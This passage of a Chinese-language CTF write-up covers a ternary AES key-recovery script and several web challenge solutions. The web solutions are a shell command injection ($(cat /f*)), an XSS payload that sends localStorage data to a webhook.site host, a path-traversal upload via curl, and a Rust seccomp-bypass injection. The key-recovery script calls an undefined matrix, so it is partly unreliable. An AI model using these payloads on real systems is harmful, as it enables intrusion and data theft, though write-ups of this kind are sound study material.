    M = apply_key(M, keys[0])

    for r in range(1, len(keys) - 1):
        M = substitute(M)
        M = shift_rows(M)
        M = mix_columns(M)
        M = apply_key(M, keys[r])

    M = substitute(M)
    M = shift_rows(M)
    M = apply_key(M, keys[-1])  # last key

    return M

其中的 apply_key substitute shift_rows 和 mix_columns 都是改過(重寫過的)的，mix_columns 它是乘一個 ((1, 2, 0), (2, 0, 1), (1, 1, 1)) 的多項式，不過可以參考這篇的說明把它變成矩陣乘法比較好處理。

等 a3s 函數完整實作出來之後就能取得以 key 為未知數的 ciphertext 了，因為明文 sus. 只有一個 block，會發現它只有九個輸出，不過一樣可以用這個方法列出九條等式，然後化為矩陣之後用 solve_right 去解。由於未知數有 75 個，但我們只有 9 個等式的緣故所以有無限多組解，不過實際上任何一組解都能拿去當 key 解密的樣子。

解完之後就把原本的這題原本所提供的函數給恢復，之後把 d_a3s 改一下或是把 key 轉換回 bytes 也是可以，反正只要能把它變成能接受的 key 之後就可以成功解密了。

下方的解題腳本的前面都是直接從原題複製來的，真正我解題的 code 大概都在 300 行以後的地方。

from sage.all import *

# fmt: off
T_SIZE  = 3             # Fixed trits in a tryte
W_SIZE  = 3             # Fixed trytes in a word (determines size of matrix)
POLY    = (2, 0, 1, 1)  # Len = T_SIZE + 1

POLY2   = ((2, 0, 1), (1, 2, 0), (0, 2, 1), (2, 0, 1))  # Len = W_SIZE + 1
CONS    = ((1, 2, 0), (2, 0, 1), (1, 1, 1))     # Len = W_SIZE 
I_CONS  = ((0, 0, 2), (2, 2, 1), (2, 2, 2))     # Inverse of CONS (mod POLY2)

# Secure enough ig
SBOX    = (6, 25, 17, 11, 0, 19, 22, 14, 3, 4, 23, 12, 15, 7, 26, 20, 9, 1, 2, 18, 10, 13, 5, 21, 24, 16, 8)

KEYLEN = 28
# fmt: on


def up(array, size, filler):  # If only there was APL in python :pensiv:
    """Groups up things in a tuple based on size"""
    l = len(array)
    array += (filler,) * (-l % size)
    return tuple([array[i : i + size] for i in range(0, l, size)])


def down(array):
    """Ungroups objects in tuple"""
    return sum(array, ())


def look(array):
    if type(array) is int:
        return array
    while type(array[0]) is not int:
        array = down(array)
    return sum(array)


def clean(array):
    while len(array) > 1:
        if look(array[-1]):
            break
        array = array[:-1]
    return tuple(array)


def int_to_tri(num):  # positive only
    out = []
    while num:
        num, trit = divmod(num, 3)
        out.append(trit)
    return tuple(out) if out else (0,)


def tri_to_int(tri):
    out = 0
    for i in tri[::-1]:
        out *= 3
        out += i
    return out


tri_to_tyt = lambda tri: up(tri, T_SIZE, 0)
tyt_to_tri = lambda tyt: down(tyt)

int_to_tyt = lambda num: tri_to_tyt(int_to_tri(num))
tyt_to_int = lambda tyt: tri_to_int(down(tyt))

tyt_to_wrd = lambda tyt: up(tyt, W_SIZE, (0,) * T_SIZE)
wrd_to_tyt = lambda wrd: down(wrd)


def apply(func, filler=None):  # scale up operations (same len only)
    def wrapper(a, b):
        return tuple(func(i, j) for i, j in zip(a, b))

    return wrapper


xor = lambda a, b: (a + b) % 3
uxor = lambda a, b: (a - b) % 3
t_xor = apply(xor)
t_uxor = apply(uxor)
T_xor = apply(t_xor)
T_uxor = apply(t_uxor)
W_xor = apply(T_xor)
W_uxor = apply(T_uxor)


def tri_mul(A, B):
    c = [0] * len(B)
    for a in A[::-1]:
        c = [0] + c
        x = tuple(b * a % 3 for b in B)
        c[: len(x)] = t_xor(c, x)  # wtf slice assignment exists???
    return clean(c)


def tri_divmod(A, B):
    B = clean(B)
    A2 = list(A)
    c = [0]
    while len(A2) >= len(B):
        c = [0] + c
        while A2[-1]:
            A2[-len(B) :] = t_uxor(A2[-len(B) :], B)
            c[0] = xor(c[0], 1)
        A2.pop()
    return clean(c), clean(A2) if sum(A2) else (0,)


def tri_mulmod(A, B, mod=POLY):
    c = [0] * (len(mod) - 1)
    for a in A[::-1]:
        c = [0] + c
        x = tuple(b * a % 3 for b in B)
        c[: len(x)] = t_xor(c, x)  # wtf slice assignment exists???
        while c[-1]:
            c[:] = t_xor(c, mod)
        c.pop()
    return tuple(c)


def egcd(a, b):
    x0, x1, y0, y1 = (0,), (1,), b, a
    while sum(y1):
        q, _ = tri_divmod(y0, y1)
        u, v = tri_mul(q, y1), tri_mul(q, x1)
        x0, y0 = x0 + (0,) * len(u), y0 + (0,) * len(v)
        y0, y1 = y1, clean(t_uxor(y0, u) + y0[len(u) :])
        x0, x1 = x1, clean(t_uxor(x0, v) + x0[len(v) :])
    return x0, y0


def modinv(a, m=POLY):
    _, a = tri_divmod(a, m)
    x, y = egcd(a, m)
    if len(y) > 1:
        raise Exception("modular inverse does not exist")
    return tri_divmod(x, y)[0]


def tyt_mulmod(A, B, mod=POLY2, mod2=POLY):
    fil = [(0,) * T_SIZE]
    C = fil * (len(mod) - 1)
    for a in A[::-1]:
        C = fil + C
        x = tuple(tri_mulmod(b, a, mod2) for b in B)
        C[: len(x)] = T_xor(C, x)

        num = modinv(mod[-1], mod2)
        num2 = tri_mulmod(num, C[-1], mod2)
        x = tuple(tri_mulmod(m, num2, mod2) for m in mod)
        C[: len(x)] = T_uxor(C, x)

        C.pop()
    return C


"""
AES functions
"""

int_to_byt = lambda x: x.to_bytes((x.bit_length() + 7) // 8, "big")
byt_to_int = lambda x: int.from_bytes(x, byteorder="big")


def gen_row(size=W_SIZE):
    out = ()
    for i in range(size):
        row = tuple(list(range(i * size, (i + 1) * size)))
        out += row[i:] + row[:i]
    return out


SHIFT_ROWS = gen_row()
UN_SHIFT_ROWS = tuple([SHIFT_ROWS.index(i) for i in range(len(SHIFT_ROWS))])


def rot_wrd(tyt):  # only 1 word so treat as tyt array
    return tyt[1:] + tyt[:1]


def sub_wrd(tyt):
    return tuple(int_to_tyt(SBOX[tri_to_int(tri)])[0] for tri in tyt)


def u_sub_wrd(tyt):
    return tuple(int_to_tyt(SBOX.index(tri_to_int(tri)))[0] for tri in tyt)


def rcon(num):  # num gives number of constants given
    out = int_to_tyt(1)
    for _ in range(num - 1):
        j = (0,) + out[-1]
        while j[-1]:  # xor until back in finite field
            j = t_xor(j, POLY)
        out += (j[:T_SIZE],)
    return out


def expand(tyt):
    words = tyt_to_wrd(tyt)
    size = len(words)
    rnum = size + 3
    rcons = rcon(rnum * 3 // size)

    for i in range(size, rnum * 3):
        k = words[i - size]
        l = words[i - 1]
        if i % size == 0:
            s = sub_wrd(rot_wrd(l))
            k = T_xor(k, s)
            k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:]
        else:
            k = T_xor(k, l)
        words = words + (k,)

    return up(down(words[: rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])


def expand_words(words):
    size = len(words)
    rnum = size + 3
    rcons = rcon(rnum * 3 // size)

    for i in range(size, rnum * 3):
        k = words[i - size]
        l = words[i - 1]
        if i % size == 0:
            s = sub_wrd(rot_wrd(l))
            k = T_xor(k, s)
            k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:]
        else:
            k = T_xor(k, l)
        words = words + (k,)

    return up(down(words[: rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])


def mix_columns(tyt, cons=CONS):
    tyt = list(tyt)
    for i in range(W_SIZE):
        tyt[i::W_SIZE] = tyt_mulmod(tyt[i::W_SIZE], cons)
    return tuple(tyt)


def a3s(msg, key):
    m = byt_to_int(msg)
    k = byt_to_int(key)
    m = up(int_to_tyt(m), W_SIZE ** 2, int_to_tyt(0)[0])[-1]  # Fixed block size
    k = int_to_tyt(k)
    keys = expand(k)  # tryte array
    assert len(keys) == KEYLEN

    ctt = T_xor(m, keys[0])

    for r in range(1, len(keys) - 1):
        ctt = sub_wrd(ctt)  # SUB...
        ctt = tuple([ctt[i] for i in SHIFT_ROWS])  # SHIFT...
        ctt = mix_columns(ctt)  # MIX...
        ctt = T_xor(ctt, keys[r])  # ADD!

    ctt = sub_wrd(ctt)
    ctt = tuple([ctt[i] for i in SHIFT_ROWS])
    ctt = T_xor(ctt, keys[-1])  # last key

    ctt = tyt_to_int(ctt)
    return int_to_byt(ctt)


def d_a3s(ctt, key):
    c = byt_to_int(ctt)
    k = byt_to_int(key)
    c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])[-1]  # Fixed block size
    k = int_to_tyt(k)
    keys = expand(k)[::-1]  # tryte array
    assert len(keys) == KEYLEN

    msg = c
    msg = T_uxor(msg, keys[0])

    for r in range(1, len(keys) - 1):
        msg = tuple([msg[i] for i in UN_SHIFT_ROWS])  # UN SHIFT...
        msg = u_sub_wrd(msg)  # UN SUB...
        msg = T_uxor(msg, keys[r])  # UN ADD...
        msg = mix_columns(msg, I_CONS)  # UN MIX!

    msg = tuple([msg[i] for i in UN_SHIFT_ROWS])
    msg = u_sub_wrd(msg)
    msg = T_uxor(msg, keys[-1])  # last key

    msg = tyt_to_int(msg)
    return int_to_byt(msg)


def chunk(c):
    c = byt_to_int(c)
    c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])
    x = tuple(tyt_to_int(i) for i in c)
    x = tuple(int_to_byt(i) for i in x)
    return x


def unchunk(c):
    out = []
    for i in c:
        j = byt_to_int(i)
        j = up(int_to_tyt(j), W_SIZE ** 2, int_to_tyt(0)[0])
        assert len(j) == 1
        out.append(j[0])
    out = down(out)
    out = tyt_to_int(out)
    return int_to_byt(out)


# below is my code


# define field
x = var("x")
F = GF(3 ** 3, "z", modulus=x ** 3 + x ** 2 + 2)
z = F.gen()


def to_field_el(n):
    # convert to an element in GF(3 ^ 3)
    if type(n) is int:
        assert n < 27
        n = int_to_tyt(n)[0]
    assert len(n) == 3
    return n[0] + z * n[1] + z * z * n[2]


def sbox(n):
    # affine transform
    return (2 * z * z + 1) * n + 2 * z


# sanity check for sbox
for x, y in enumerate(SBOX):
    # print(to_field_el(x), "->", to_field_el(y), "vs", sbox(to_field_el(x)))
    assert to_field_el(y) == sbox(to_field_el(x))

# modified for field elements
t_xor = lambda x, y: x + y
t_uxor = lambda x, y: x - y
T_xor = lambda x, y: tuple(a + b for a, b in zip(x, y))
T_uxor = lambda x, y: tuple(a + b for a, b in zip(x, y))

# symbolic keys
PF = PolynomialRing(F, "k", 75)
sym_keys = PF.gens()


# modify key expand
def sub_wrd(tyt):
    return tuple(map(sbox, tyt))


def expand(tyt):
    words = tyt_to_wrd(tyt)
    size = len(words)
    rnum = size + 3
    rcons = rcon(rnum * 3 // size)
    rcons = tuple(map(to_field_el, rcons))

    for i in range(size, rnum * 3):
        k = words[i - size]
        l = words[i - 1]
        if i % size == 0:
            s = sub_wrd(rot_wrd(l))
            k = T_xor(k, s)
            k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:]
        else:
            k = T_xor(k, l)
        words = words + (k,)

    return up(down(words[: rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0])


# modify a3s to work with this field
def apply_key(M, K):
    return M + K


def substitute(M):
    return Matrix(PF, [[sbox(x) for x in row] for row in M])


def shift_rows(M):
    M = copy(M)
    M[1, 0], M[1, 1], M[1, 2] = M[1, 1], M[1, 2], M[1, 0]
    M[2, 0], M[2, 1], M[2, 2] = M[2, 2], M[2, 0], M[2, 1]
    return M


def mix_columns(M):
    S = Matrix(
        F,
        [
            [2 * z + 1, 2 * z ** 2 + 2 * z + 2, 2 * z ** 2 + 2],
            [z ** 2 + 2, z ** 2 + 1, z ** 2 + 1],
            [z ** 2 + z + 1, z ** 2 + 1, 2 * z ** 2 + z + 2],
        ],
    )
    return S * M


def a3s(msg, key):
    M = bytes_to_mat(msg)
    keys = [Matrix(PF, up(k, 3, 0)) for k in expand(key)]
    assert len(keys) == KEYLEN

    M = apply_key(M, keys[0])

    for r in range(1, len(keys) - 1):
        M = substitute(M)
        M = shift_rows(M)
        M = mix_columns(M)
        M = apply_key(M, keys[r])

    M = substitute(M)
    M = shift_rows(M)
    M = apply_key(M, keys[-1])  # last key

    return M


def bytes_to_mat(b):
    x = byt_to_int(b)
    x = up(int_to_tyt(x), W_SIZE ** 2, int_to_tyt(0)[0])[-1]
    return Matrix(F, up(tuple(map(to_field_el, x)), 3, 0))


def solve_key(plain, enc):
    # there are only 9 equations for a system with 75 variables
    # so it will have many solutions
    # but any one of them will work
    mat1 = a3s(plain, sym_keys)
    mat2 = bytes_to_mat(enc)
    lhs = []
    rhs = []
    for i in range(3):
        for j in range(3):
            f = mat1[i, j]
            lhs.append([f.coefficient(k) for k in sym_keys])
            rhs.append(mat2[i, j] - f.constant_coefficient())
    sk = M.solve_right(vector(rhs))
    assert M * sk == vector(rhs)
    return sk


def tri_to_int(tri):
    out = 0
    for i in tri[::-1]:
        out *= 3
        out += i
    return out


def key_to_tyt(key):
    ar = []
    for x in key:
        t = x.polynomial().coefficients(sparse=False)
        if len(t) < 3:
            t += [0] * (3 - len(t))
        ar.append(tuple([int(x) for x in t]))
    return tuple(ar)


# restore flag key
flag_key = key_to_tyt(solve_key(b"sus.", b'\x06\x0f"\x02\x8e\xd1'))
print(flag_key)

from a3s import *  # restore the original functions


# modify to make it works with tyt
def d_a3s(ctt, k):
    keys = expand(k)[::-1]
    c = byt_to_int(ctt)
    c = up(int_to_tyt(c), W_SIZE ** 2, int_to_tyt(0)[0])[-1]  # Fixed block size
    assert len(keys) == KEYLEN

    msg = c
    msg = T_uxor(msg, keys[0])

    for r in range(1, len(keys) - 1):
        msg = tuple([msg[i] for i in UN_SHIFT_ROWS])  # UN SHIFT...
        msg = u_sub_wrd(msg)  # UN SUB...
        msg = T_uxor(msg, keys[r])  # UN ADD...
        msg = mix_columns(msg, I_CONS)  # UN MIX!

    msg = tuple([msg[i] for i in UN_SHIFT_ROWS])
    msg = u_sub_wrd(msg)
    msg = T_uxor(msg, keys[-1])  # last key

    msg = tyt_to_int(msg)
    return int_to_byt(msg)


# decryption
flag_enc = b"\x01\x00\xc9\xe9m=\r\x07x\x04\xab\xd3]\xd3\xcd\x1a\x8e\xaa\x87;<\xf1[\xb8\xe0%\xec\xdb*D\xeb\x10\t\xa0\xb9.\x1az\xf0%\xdc\x16z\x12$0\x17\x8d1"
flag = unchunk([d_a3s(chk, flag_key) for chk in chunk(flag_enc)])
print(flag)

web#

lemonthinker#

可以輸入文字，然後服務會生成一個圖片，裡面有你輸入的文字，然後在上面疊上一個檸檬的圖片，會把文字蓋住。核心程式碼如下:

@app.route('/generate', methods=['POST'])
def upload():
    global clean
    if time.time() - clean > 60:
      os.system("rm static/images/*")
      clean = time.time()
    text = request.form.getlist('text')[0]
    text = text.replace("\"", "")
    filename = "".join(random.choices(chars,k=8)) + ".png"
    os.system(f"python3 generate.py {filename} \"{text}\"")
    return redirect(url_for('static', filename='images/' + filename), code=301)

雖然有過濾 "，但還是可以有非常簡單的 command injection，例如輸入 $(echo 1) 的結果就會是 1，所以這樣就可以 $(cat /f*) 去拿 flag 了。

不過它 generate.py 會檢測文字中有沒有 rsactf 文字出現，出現的話就不顯示，這個可以用其他的 linux 指令如 cut 之類的繞過，然後因為文字會被檸檬擋住，所以可以重複用 cut 多次把 flag 從圖片中讀出來。

或是還有個方法是利用它的 static/images 資料夾可寫的特性，用 $(cat /f* > static/images/flag) 之類的方法寫入，然後 url 直接存取 flag 也可以。這樣可以省掉從圖片中人工讀 flag 的時間。

Fancy Button Generator#

這題有個網站可以讓你創造 button，可以控制一個 <a> 的 href 和裡面的文字，它都有正確 escape 所以沒辦法直接 xss...?

看一下它的 xss bot 會發現它會去點擊那個 button，所以顯然可以用 javascript:alert(1) 的方式去觸發即可。

因為它需要解 PoW，所以我直接拿作者寫 PoW 腳本來改而已:

import requests

import hashlib
import uuid
import binascii
import os
import sys


def generate():
    return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]


def verify(prefix, suffix, answer, difficulty=6):
    hash = hashlib.sha256(
        prefix.encode() + answer.encode() + suffix.encode()
    ).hexdigest()
    return hash.endswith("0" * difficulty)


def solve(prefix, suffix, difficulty):
    while True:
        test = binascii.hexlify(os.urandom(4)).decode()
        if verify(prefix, suffix, test, difficulty):
            return test


if len(sys.argv) < 2:
    print("Usage: solve.py http://host:port/")
    exit()
s = requests.Session()
host = sys.argv[1]
data = s.get(host + "pow").json()
print("Solving POW")
solution = solve(data["pref"], data["suff"], 5)
print(f"Solved: {solution}")
s.post(host + "pow", json={"answer": solution})
title = "btn"
link = "javascript:fetch('https://webhook.site/496e457e-0a36-40cd-9cc1-2aaf68c9ec32/?flag='%2BencodeURIComponent(localStorage.flag))"
print(s.get(host + "admin", params={"title": title, "link": link}).text)

# rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

Secure Uploader#

這題有個檔案上傳服務，它會檢查檔名是否有 .，有的話就拒絕。通過檢查後會把檔名和一個 id 的 mapping 存到資料庫中，之後寫入到 "uploads/" + filename 的地方。另外有個檔案存取的 endpoint，可以接受 id 參數，然後會從資料庫中撈出對應的檔名，回傳 os.path.join("uploads/", filename) 的檔案。

這個的繞過方法很簡單，讓檔名變成 /flag.txt 就可以了，這樣 join 之後的結果就會是 /flag.txt。不過因為它的 instance 是多個人使用的，然後資料庫中不允許重複的檔名出現，所以可以用 /////////flag.txt 之類的方法一樣能拿 flag。

要改檔名的部份用 curl 很容易處裡:

curl http://193.57.159.27:50916/upload -F "file=@anyfile.txt;filename=////////////flag" -L

Electroplating#

這題雖然只有 250 分，但是解題人數卻是 web 中最少的...

題目可以讓你上傳一個 .htmlrs 的一個 html 檔案，它會從裡面的 <templ> 元素中取 rust code 出來，生成一個 rust 的程式當作是個 webserver 當場編譯，server 本身會回應 html 的內容，然後 <templ> 裡面的 rust code 也會被執行。目標是要讀取 /flag.txt 的內容。

一個很直接的想法是直接用:

<templ>fs::read_to_string("/flag.txt").unwrap()</templ>

去讀檔案，只是它的 server 有 seccomp，允許的 syscalls 只有:

static ALLOWED: &'static [usize] = &[0, 1, 3, 11, 44,
                                     60, 89, 131, 202,
                                     231, 318];

所以沒辦法直接讀檔。

我的想法是利用 injection 看看可不可以達成什麼奇怪的效果，因為它的處裡 <templ> 中的程式的方法是直接塞進去下面的第二個 %s 的地方:

templ_fun = """
fn temp%s() -> String {
    %s
}
"""

所以如果裡面有包含 } 的話就代表我們可以多定義一些其他函數，或是其他東西出來。一個可能會想要做的做法是把它的 apply_seccomp 函數給蓋掉，這樣就能直接讀取檔案了，不過實際上 rust compiler 會直接不允許重複定義函數...

它關於 seccomp 有關的程式碼是這樣的:

// other imports

use seccomp::*;

// other code

fn apply_seccomp() {
    let mut ctx = Context::default(Action::KillProcess).unwrap();
    for i in ALLOWED {
        let rule = Rule::new(*i, None, Action::Allow);
        ctx.add_rule(rule).unwrap();
    }
    ctx.load();
}

// your template code will be injected here

其中的 Context Action Rule 都是來自 seccomp::* 裡面的東西。這時我就想如果定義一個函數叫做 Context 會怎樣? 結果是它的錯誤變成沒有 Context::default 這個函數能用，顯然有點利用的機會。

後來就去查了一查，去研究看看 rust 的 mod 和 struct 等等的東西怎麼用，發現湊到下面這樣的 code 的時候可以通過編譯，然後讓 apply_seccomp 執行之後也毫無實際作用:

// other imports

use seccomp::*;

// other code

fn apply_seccomp() {
    let mut ctx = Context::default(Action::KillProcess).unwrap();
    for i in ALLOWED {
        let rule = Rule::new(*i, None, Action::Allow);
        ctx.add_rule(rule).unwrap();
    }
    ctx.load();
}

mod Rule {
    pub fn new(a: usize, b: Option<String>, c: fn(i32) -> i32) -> i32 {
        0
    }
}

mod Action {
    pub fn KillProcess(x: i32) -> i32 { 48763 }
    pub fn Allow(x: i32) -> i32 { 48763 }
}

mod Context {
    pub struct Obj {
    }
    impl Obj {
        pub fn unwrap(&mut self) -> Obj { Obj{} }
        pub fn add_rule(&mut self, x: i32) -> Obj { Obj{} }
        pub fn load(&mut self) -> Obj { Obj{} }
    }
    pub fn default(f: fn(i32) -> i32) -> Obj { Obj{} }
}